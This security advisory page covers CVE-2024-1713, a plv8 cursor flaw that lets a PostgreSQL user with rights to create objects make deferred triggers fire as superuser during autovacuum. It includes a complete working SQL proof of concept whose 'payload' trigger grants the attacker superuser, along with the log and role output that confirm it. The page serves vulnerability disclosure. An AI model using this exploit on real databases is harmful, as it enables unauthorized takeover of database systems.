PostgreSQL: Plv8 Deferred Trigger Privilege Escalation
HighCVE-2024-1713 · Published Feb 21, 2024
### Summary PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to [CVE-2020-25695](https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc)). This was tested against PostgreSQL 14.10 with plv8-3.2.1. ### Severity High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum. ### Proof of Concept This PoC assumes that there is a _Superuser_ named _postgres_ and a normal user named _test_. The _test_ user should be able to create objects within a database where plv8 is installed. As _Superuser_ ```sql CREATE EXTENSION plv8; ``` As user _test_ ```sql -- Setup index, table, and t...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| Plv8 Product | all versions | No fix yet |
Details and references
### Summary PLV8 allows users to create cursors for queries. If an error occurs in a cursor operation the postgres error is caught and rethrown as an exception that can be caught in javascript. The cursor implementations for plv8 are missing rollbacks. This enables cases where a rollback is expected but a malicious user is able to catch the error and commit instead. For example with deferred triggers. A malicious user who can create objects in a database with plv8 installed can cause deferred triggers to execute as the Superuser during autovacuum (similar to [CVE-2020-25695](https://staaldraad.github.io/post/2020-12-15-cve-2020-25695-postgresql-privesc)). This was tested against PostgreSQL 14.10 with plv8-3.2.1. ### Severity High - A user who can create objects in a database with plv8 installed is able to cause deferred triggers to execute as the Superuser during autovacuum. ### Proof of Concept This PoC assumes that there is a _Superuser_ named _postgres_ and a normal user named _test_. The _test_ user should be able to create objects within a database where plv8 is installed. As _Superuser_ ```sql CREATE EXTENSION plv8; ``` As user _test_ ```sql -- Setup index, table, and triggers similar to CVE-2020-25695 CREATE TABLE public.to_vacuum (a int, b int); CREATE TABLE public.has_trigger (a int); CREATE OR REPLACE FUNCTION public.index_func(integer) RETURNS integer AS $ BEGIN RETURN 1; END; $ LANGUAGE PLPGSQL IMMUTABLE; CREATE INDEX i ON public.to_vacuum (public.index_func(a)); CREATE OR REPLACE FUNCTION public.plv8_cursor() RETURNS int AS $ try { var p = plv8.prepare("INSERT INTO public.has_trigger VALUES (1) RETURNING *", []); var c = p.cursor([]); // while (row = c.move(1)) {} while (row = c.fetch()) {} } catch(err) { plv8.elog(WARNING, 'plv8: ' + err); } return 1; $ LANGUAGE plv8; CREATE OR REPLACE PROCEDURE wrapper() AS $ BEGIN BEGIN PERFORM public.plv8_cursor(); EXCEPTION WHEN OTHERS THEN COMMIT; END; END; $ LANGUAGE plpgsql; CREATE OR REPLACE FUNCTION public.index_func(integer) RETURNS integer AS $ BEGIN CALL public.wrapper(); RETURN 1; END; $ LANGUAGE PLPGSQL; CREATE OR REPLACE FUNCTION public.payload() RETURNS trigger AS $ BEGIN IF USER = 'postgres' THEN ALTER USER test WITH Superuser; END IF; RETURN NEW; END; $ LANGUAGE PLPGSQL; CREATE CONSTRAINT TRIGGER defer AFTER INSERT ON public.has_trigger INITIALLY DEFERRED FOR EACH ROW EXECUTE PROCEDURE public.payload(); ALTER TABLE public.to_vacuum SET (autovacuum_vacuum_threshold = 1); ALTER TABLE public.to_vacuum SET (autovacuum_analyze_threshold = 1); INSERT INTO public.to_vacuum VALUES (1,1); INSERT INTO public.to_vacuum VALUES (2,2); INSERT INTO public.to_vacuum VALUES (3,3); ``` Wait for autovacuum to run this could take several minutes with default settings. You’ll see log entries such as the following when. ```sql [18303] WARNING: plv8: Error: cannot fire deferred trigger within security -restricted operation [18303] CONTEXT: SQL statement "SELECT public.plv8_cursor()" PL/pgSQL function public.wrapper() line 4 at PERFORM SQL statement "CALL public.wrapper()" PL/pgSQL function public.index_func(integer) line 3 at CALL [18303] WARNING: snapshot 0x55e5cbdb2680 still active ``` Now check the user's privileges ```sql \du test List of roles Role name | Attributes | Member of -----------+----------------------+----------- test | Superuser, Create DB | {} ``` ### Further Analysis When a plv8 cursor encounters an error the postgres error is caught and rethrown as an error that can be cau
- Severity from
- GitHub (reviewed advisory)
More Google advisories
All Google| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Apr 52024 | UTM: Remote Code Execution Via Unsafe VM Handling | Medium | No fix yet |
| Apr 52024 | UTM: Unsafe URL Handling | Low | 4.5.1 |
| Apr 42024 | Microsoft Edge: Bypass of fix for CVE-2023-36880 | Low | See the advisory |
| Mar 262024 | Python: Code Execution Vulnerability | Low | See the advisory |
| Mar 192024 | PostgreSQL: Concurrent Refresh Privilege Escalation | Medium | 12.18 |
| Jan 42024 | Microsoft VSCode: XSS | High | No fix yet |